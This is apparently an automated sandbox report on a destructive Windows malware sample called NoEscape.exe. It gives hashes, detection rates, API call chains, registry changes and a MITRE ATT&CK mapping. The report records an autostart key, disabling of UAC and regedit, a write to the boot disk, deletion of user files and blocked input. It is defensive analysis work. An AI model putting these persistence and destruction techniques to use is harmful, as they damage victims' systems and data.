Play interactive tour

Edit tour

Analysis Report NoEscape.exe

Overview

General Information

Sample Name:	NoEscape.exe
Analysis ID:	332607
MD5:	989ae3d195203b323aa2b3adf04e9833
SHA1:	31a45521bc672abcf64e50284ca5d4e6b3687dc8
SHA256:	d30d7676a3b4c91b77d403f81748ebf6b8824749db5f860e114a8a204bca5b8f
Most interesting Screenshot:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Contains functionality to infect the boot sector

Contains functionality to modify Windows User Account Control (UAC) settings

Contains functionalty to change the wallpaper

Creates an undocumented autostart registry key

Creates files in alternative data streams (ADS)

Disables the Windows registry editor (regedit)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

NoEscape.exe (PID: 5904 cmdline: 'C:\Users\user\Desktop\NoEscape.exe' MD5: 989AE3D195203B323AA2B3ADF04E9833)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Group Modification Logging

Show sources

Source: Event Logs

Author: Alexandr Yampolskyi, SOC Prime: Data: EventID: 4728, Source: Microsoft-Windows-Security-Auditing, data 0: -, data 1: S-1-5-21-3853321935-2125563209-4053062332-1003, data 2: None, data 3: computer, data 4: S-1-5-21-3853321935-2125563209-4053062332-513, data 5: S-1-5-21-3853321935-2125563209-4053062332-1002, data 6: user, data 7: computer, data 8: 0x2005f, data 9: -

Sigma detected: Local User Creation

Show sources

Source: Event Logs

Author: Patrick Bareiss: Data: EventID: 4720, Source: Microsoft-Windows-Security-Auditing, data 0: ???????????????, data 1: computer, data 10: -, data 11: %%1793, data 12: %%1793, data 13: %%1793, data 14: %%1793, data 15: %%1793, data 16: %%1794, data 17: %%1794, data 18: 513, data 19: -, data 2: S-1-5-21-3853321935-2125563209-4053062332-1003, data 20: 0x0, data 21: 0x15, data 22: %%2080 %%2082 %%2084, data 23: %%1793, data 24: -, data 25: %%1797, data 3: S-1-5-21-3853321935-2125563209-4053062332-1002, data 4: user, data 5: computer, data 6: 0x2005f, data 7: -, data 8: ???????????????, data 9: %%1793

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\winnt32.exe	Virustotal: Detection: 76%	Perma Link
Source: C:\Windows\winnt32.exe	Metadefender: Detection: 24%	Perma Link
Source: C:\Windows\winnt32.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Show sources

Source: NoEscape.exe	Virustotal: Detection: 76%	Perma Link
Source: NoEscape.exe	Metadefender: Detection: 24%	Perma Link
Source: NoEscape.exe	ReversingLabs: Detection: 82%

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\winnt32.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: NoEscape.exe

Joe Sandbox ML: detected

Source: 0.2.NoEscape.exe.400000.0.unpack

Avira: Label: TR/Crypt.XPACK.Gen2

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_00401830 RtlAllocateHeap,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcpyW,RemoveDirectoryW,lstrcmpiW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,HeapFree,

0_2_00401830

Spam, unwanted Advertisements and Ransom Demands:

Contains functionalty to change the wallpaper

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_00401BC0 GetModuleHandleW,GetProcessHeap,GetCurrentProcess,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlInitializeCriticalSection,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,RtlGetVersion,RtlAllocateHeap,wsprintfW,MessageBoxW,HeapFree,SHGetKnownFolderPath,SHGetKnownFolderPath,lstrcpyW,GetModuleFileNameW,GetCurrentDirectoryW,lstrlenW,lstrlenW,lstrcpyW,wsprintfW,RtlAllocateHeap,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,HeapFree,GetFileAttributesW,CreateMutexW,GetLastError,MessageBoxW,RtlAllocateHeap,lstrlenW,RtlReAllocateHeap,GetUserNameW,lstrlenW,RegCreateKeyExW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrlenW,lstrcatW,HeapFree,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,lstrcatW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrlenW,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateFileW,WriteFile,CloseHandle,lstrlenW,HeapFree,CopyFileW,SetFileAttributesW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,RtlAllocateHeap,RegQueryValueExW,RegCloseKey,HeapFree,lstrlenW,lstrlenW,lstrcatW,lstrlenW,RegCreateKeyExW,RtlAllocateHeap,RegSetValueExW,RegCloseKey,HeapFree,MoveFileExW,InitiateShutdownW,RtlDeleteCriticalSection,HeapFree,CloseHandle,HeapFree,GetSystemTime,lstrlenW,RtlAllocateHeap,wsprintfW,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,HeapFree,CreateMutexW,CreateMutexW,GetLastError,NtSetInformationProcess,LoadCursorW,LoadIconW,LoadIconW,LoadIconW,RegisterClassExW,CreateWindowExW,ShowWindow,UpdateWindow,CreateMutexW,CreateMutexW,CreateThread,GetMessageW,GetMessageW,TranslateMessage,DispatchMessageW,TranslateMessage,DispatchMessageW,GetMessageW,lstrlenW,lstrcmpiW,OpenMutexW,MessageBoxW,lstrlenW,lstrlenW,CreateMutexW,GetLastError,GetCommandLineW,lstrlenW,lstrlenW,ShellExecuteW,		0_2_00401BC0
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_004038A0 lstrlenW,NtSetInformationProcess,lstrlenW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,HeapFree,RtlAllocateHeap,CreateFileW,WriteFile,CloseHandle,HeapFree,RtlAllocateHeap,FindWindowExW,CreateFontW,lstrlenW,RtlAllocateHeap,lstrlenW,BlockInput,SendMessageW,SendMessageW,SendMessageW,Sleep,BlockInput,OpenProcess,RtlAllocateHeap,lstrcpyW,lstrcmpW,SendMessageW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,CreateFontW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,Sleep,SendMessageW,Sleep,Sleep,CreateThread,		0_2_004038A0

Modifies existing user documents (likely ransomware behavior)

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe	File deleted: C:\Users\user\Desktop\NIRMEKAMZH.png	Jump to behavior
Source: C:\Users\user\Desktop\NoEscape.exe	File deleted: C:\Users\user\Desktop\DQOFHVHTMG.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\NoEscape.exe	File deleted: C:\Users\user\Desktop\DQOFHVHTMG.jpg	Jump to behavior
Source: C:\Users\user\Desktop\NoEscape.exe	File deleted: C:\Users\user\Desktop\BXAJUJAOEO\BXAJUJAOEO.docx	Jump to behavior
Source: C:\Users\user\Desktop\NoEscape.exe	File deleted: C:\Users\user\Desktop\HQJBRDYKDE\LHEPQPGEWF.pdf	Jump to behavior

Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_00401BC0 GetModuleHandleW,GetProcessHeap,GetCurrentProcess,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlInitializeCriticalSection,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,RtlGetVersion,RtlAllocateHeap,wsprintfW,MessageBoxW,HeapFree,SHGetKnownFolderPath,SHGetKnownFolderPath,lstrcpyW,GetModuleFileNameW,GetCurrentDirectoryW,lstrlenW,lstrlenW,lstrcpyW,wsprintfW,RtlAllocateHeap,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,HeapFree,GetFileAttributesW,CreateMutexW,GetLastError,MessageBoxW,RtlAllocateHeap,lstrlenW,RtlReAllocateHeap,GetUserNameW,lstrlenW,RegCreateKeyExW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrlenW,lstrcatW,HeapFree,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,lstrcatW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrlenW,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateFileW,WriteFile,CloseHandle,lstrlenW,HeapFree,CopyFileW,SetFileAttributesW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,RtlAllocateHeap,RegQueryValueExW,RegCloseKey,HeapFree,lstrlenW,lstrlenW,lstrcatW,lstrlenW,RegCreateKeyExW,RtlAllocateHeap,RegSetValueExW,RegCloseKey,HeapFree,MoveFileExW,InitiateShutdownW,RtlDeleteCriticalSection,HeapFree,CloseHandle,HeapFree,GetSystemTime,lstrlenW,RtlAllocateHeap,wsprintfW,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,HeapFree,CreateMutexW,CreateMutexW,GetLastError,NtSetInformationProcess,LoadCursorW,LoadIconW,LoadIconW,LoadIconW,RegisterClassExW,CreateWindowExW,ShowWindow,UpdateWindow,CreateMutexW,CreateMutexW,CreateThread,GetMessageW,GetMessageW,TranslateMessage,DispatchMessageW,TranslateMessage,DispatchMessageW,GetMessageW,lstrlenW,lstrcmpiW,OpenMutexW,MessageBoxW,lstrlenW,lstrlenW,CreateMutexW,GetLastError,GetCommandLineW,lstrlenW,lstrlenW,ShellExecuteW,	0_2_00401BC0
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_004019C0 LoadImageW,BeginPaint,SelectObject,GetObjectW,SelectObject,DeleteDC,EndPaint,NtSetInformationProcess,ExitProcess,DeleteObject,PostQuitMessage,	0_2_004019C0
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_004019E0 LoadImageW,BeginPaint,SelectObject,GetObjectW,SelectObject,DeleteDC,EndPaint,NtSetInformationProcess,ExitProcess,DeleteObject,PostQuitMessage,	0_2_004019E0
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_004038A0 lstrlenW,NtSetInformationProcess,lstrlenW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,HeapFree,RtlAllocateHeap,CreateFileW,WriteFile,CloseHandle,HeapFree,RtlAllocateHeap,FindWindowExW,CreateFontW,lstrlenW,RtlAllocateHeap,lstrlenW,BlockInput,SendMessageW,SendMessageW,SendMessageW,Sleep,BlockInput,OpenProcess,RtlAllocateHeap,lstrcpyW,lstrcmpW,SendMessageW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,CreateFontW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,Sleep,SendMessageW,Sleep,Sleep,CreateThread,	0_2_004038A0

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: GetModuleHandleW,GetProcessHeap,GetCurrentProcess,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlInitializeCriticalSection,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,RtlGetVersion,RtlAllocateHeap,wsprintfW,MessageBoxW,HeapFree,SHGetKnownFolderPath,SHGetKnownFolderPath,lstrcpyW,GetModuleFileNameW,GetCurrentDirectoryW,lstrlenW,lstrlenW,lstrcpyW,wsprintfW,RtlAllocateHeap,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,HeapFree,GetFileAttributesW,CreateMutexW,GetLastError,MessageBoxW,RtlAllocateHeap,lstrlenW,RtlReAllocateHeap,GetUserNameW,lstrlenW,RegCreateKeyExW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrlenW,lstrcatW,HeapFree,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,lstrcatW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrlenW,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateFileW,WriteFile,CloseHandle,lstrlenW,HeapFree,CopyFileW,SetFileAttributesW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,RtlAllocateHeap,RegQueryValueExW,RegCloseKey,HeapFree,lstrlenW,lstrlenW,lstrcatW,lstrlenW,RegCreateKeyExW,RtlAllocateHeap,RegSetValueExW,RegCloseKey,HeapFree,MoveFileExW,InitiateShutdownW,RtlDeleteCriticalSection,HeapFree,CloseHandle,HeapFree,GetSystemTime,lstrlenW,RtlAllocateHeap,wsprintfW,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,HeapFree,CreateMutexW,CreateMutexW,GetLastError,NtSetInformationProcess,LoadCursorW,LoadIconW,LoadIconW,LoadIconW,RegisterClassExW,CreateWindowExW,ShowWindow,UpdateWindow,CreateMutexW,CreateMutexW,CreateThread,GetMessageW,GetMessageW,TranslateMessage,DispatchMessageW,TranslateMessage,DispatchMessageW,GetMessageW,lstrlenW,lstrcmpiW,OpenMutexW,MessageBoxW,lstrlenW,lstrlenW,CreateMutexW,GetLastError,GetCommandLineW,lstrlenW,lstrlenW,ShellExecuteW, shutdownwithoutlogon

0_2_00401BC0

Source: C:\Users\user\Desktop\NoEscape.exe

File created: C:\Windows\winnt32.exe

Jump to behavior

Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_00401BC0		0_2_00401BC0
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_00403DD0		0_2_00403DD0

Source: NoEscape.exe, 00000000.00000000.637194521.00000000005C7000.00000008.00020000.sdmp	Binary or memory string: OriginalFilenameWinCustomize.exeF vs NoEscape.exe
Source: NoEscape.exe, 00000000.00000002.651885211.0000000000BD0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs NoEscape.exe
Source: NoEscape.exe	Binary or memory string: OriginalFilenameWinCustomize.exeF vs NoEscape.exe

Source: NoEscape.exe

Static PE information: Section: .MPRESS1 ZLIB complexity 1.00006569165

Source: classification engine

Classification label: mal100.rans.evad.winEXE@1/97@0/0

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_00401BC0 GetModuleHandleW,GetProcessHeap,GetCurrentProcess,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlInitializeCriticalSection,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,RtlGetVersion,RtlAllocateHeap,wsprintfW,MessageBoxW,HeapFree,SHGetKnownFolderPath,SHGetKnownFolderPath,lstrcpyW,GetModuleFileNameW,GetCurrentDirectoryW,lstrlenW,lstrlenW,lstrcpyW,wsprintfW,RtlAllocateHeap,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,HeapFree,GetFileAttributesW,CreateMutexW,GetLastError,MessageBoxW,RtlAllocateHeap,lstrlenW,RtlReAllocateHeap,GetUserNameW,lstrlenW,RegCreateKeyExW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrlenW,lstrcatW,HeapFree,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,lstrcatW,RegSetValueExW,RegCloseKey,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RtlReAllocateHeap,lstrcpyW,lstrlenW,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateFileW,WriteFile,CloseHandle,lstrlenW,HeapFree,CopyFileW,SetFileAttributesW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,RtlAllocateHeap,RegQueryValueExW,RegCloseKey,HeapFree,lstrlenW,lstrlenW,lstrcatW,lstrlenW,RegCreateKeyExW,RtlAllocateHeap,RegSetValueExW,RegCloseKey,HeapFree,MoveFileExW,InitiateShutdownW,RtlDeleteCriticalSection,HeapFree,CloseHandle,HeapFree,GetSystemTime,lstrlenW,RtlAllocateHeap,wsprintfW,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,lstrlenW,RegCreateKeyExW,RegSetValueExW,RegCloseKey,HeapFree,CreateMutexW,CreateMutexW,GetLastError,NtSetInformationProcess,LoadCursorW,LoadIconW,LoadIconW,LoadIconW,RegisterClassExW,CreateWindowExW,ShowWindow,UpdateWindow,CreateMutexW,CreateMutexW,CreateThread,GetMessageW,GetMessageW,TranslateMessage,DispatchMessageW,TranslateMessage,DispatchMessageW,GetMessageW,lstrlenW,lstrcmpiW,OpenMutexW,MessageBoxW,lstrlenW,lstrlenW,CreateMutexW,GetLastError,GetCommandLineW,lstrlenW,lstrlenW,ShellExecuteW,

0_2_00401BC0

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_00401000 CreateToolhelp32Snapshot,Process32NextW,lstrcmpiW,Process32NextW,lstrcmpiW,

0_2_00401000

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_004015C0 FindResourceW,LoadResource,CreateFileW,SizeofResource,LockResource,WriteFile,CloseHandle,FreeResource,

0_2_004015C0

Source: C:\Users\user\Desktop\NoEscape.exe

File created: C:\Users\user\AppData\Local\noescape.png

Jump to behavior

Source: C:\Users\user\Desktop\NoEscape.exe

Mutant created: \Sessions\1\BaseNamedObjects\processLimit

Source: C:\Users\user\Desktop\NoEscape.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NoEscape.exe	Virustotal: Detection: 76%
Source: NoEscape.exe	Metadefender: Detection: 24%
Source: NoEscape.exe	ReversingLabs: Detection: 82%

Source: C:\Users\user\Desktop\NoEscape.exe

File read: C:\Users\user\Desktop\NoEscape.exe

Jump to behavior

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

Unpacked PE file: 0.2.NoEscape.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: NoEscape.exe	Static PE information: section name: .MPRESS1
Source: NoEscape.exe	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_004046F4 push ecx; ret

0_2_00404706

Source: initial sample

Static PE information: section name: .MPRESS1 entropy: 7.99972366348

Persistence and Installation Behavior:

Contains functionality to infect the boot sector

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: lstrlenW,NtSetInformationProcess,lstrlenW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,HeapFree,RtlAllocateHeap,CreateFileW,WriteFile,CloseHandle,HeapFree,RtlAllocateHeap,FindWindowExW,CreateFontW,lstrlenW,RtlAllocateHeap,lstrlenW,BlockInput,SendMessageW,SendMessageW,SendMessageW,Sleep,BlockInput,OpenProcess,RtlAllocateHeap,lstrcpyW,lstrcmpW,SendMessageW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,CreateFontW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,Sleep,SendMessageW,Sleep,Sleep,CreateThread, \\.\PhysicalDrive0

0_2_004038A0

Source: C:\Users\user\Desktop\NoEscape.exe

File created: C:\Windows\winnt32.exe

Jump to dropped file

Source: C:\Users\user\Desktop\NoEscape.exe

File created: C:\Windows\winnt32.exe

Jump to dropped file

Boot Survival:

Contains functionality to infect the boot sector

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_004038A0

Creates an undocumented autostart registry key

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Userinit

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Creates files in alternative data streams (ADS)

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

File created: C:\Users\Public\Desktop\??? ???????????????:??

Jump to behavior

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401830

Source: C:\Users\user\Desktop\NoEscape.exe

API call chain: ExitProcess graph end node

graph_0-1431

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_004038A0 lstrlenW,NtSetInformationProcess,lstrlenW,lstrlenW,RtlAllocateHeap,RtlAllocateHeap,wsprintfW,SystemParametersInfoW,HeapFree,RtlAllocateHeap,CreateFileW,WriteFile,CloseHandle,HeapFree,RtlAllocateHeap,FindWindowExW,CreateFontW,lstrlenW,RtlAllocateHeap,lstrlenW,BlockInput,SendMessageW,SendMessageW,SendMessageW,Sleep,BlockInput,OpenProcess,RtlAllocateHeap,lstrcpyW,lstrcmpW,SendMessageW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,lstrcmpW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,CreateFontW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetExitCodeProcess,Sleep,HeapFree,HeapFree,Sleep,SendMessageW,Sleep,Sleep,CreateThread,

0_2_004038A0

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_00404487 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00404487

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401BC0

Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_004045E9 SetUnhandledExceptionFilter,	0_2_004045E9
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_00404737 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00404737
Source: C:\Users\user\Desktop\NoEscape.exe	Code function: 0_2_00404487 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00404487

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_004038A0

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401BC0

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401BC0

Source: NoEscape.exe	Binary or memory string: Progman
Source: NoEscape.exe, 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp	Binary or memory string: Userinit%s "%%1" %%*SOFTWARE\Classes\exefile\shell\open\commandSOFTWARE\Classes\exefile\shell\runas\commandWINNT32.EXEShowWindowSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NoEscapeprocessLimitPayloadwinnt32.exe(1) New Message from Fred Durstfred durst says: no computer today silly boy go outsie to playSHELLDLL_DefViewProgmanWorkerWFolderViewSysListView32FFlagsSOFTWARE\Microsoft\Windows\Shell\Bags\1\Desktopexplorer.exeC:\Windows\explorer.exe\\.\PhysicalDrive0notepad.exeC:\Windows\notepad.exeEditCourier NewTHERE IS NO ESCAPE NOW.

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: 0_2_00404858 cpuid

0_2_00404858

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401BC0

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401BC0

Source: C:\Users\user\Desktop\NoEscape.exe

0_2_00401BC0

Lowering of HIPS / PFW / Operating System Security Settings:

Contains functionality to modify Windows User Account Control (UAC) settings

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

Code function: RegSetValue: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUASOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

0_2_00401BC0

Disables the Windows registry editor (regedit)

Show sources

Source: C:\Users\user\Desktop\NoEscape.exe

Registry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableRegistryTools

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Registry Run Keys / Startup Folder1	Exploitation for Privilege Escalation1	Masquerading21	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Scheduled Task/Job	Bootkit1	Access Token Manipulation1	Disable or Modify Tools21	LSASS Memory	Security Software Discovery12	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	System Shutdown/Reboot1
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection11	Access Token Manipulation1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Defacement1
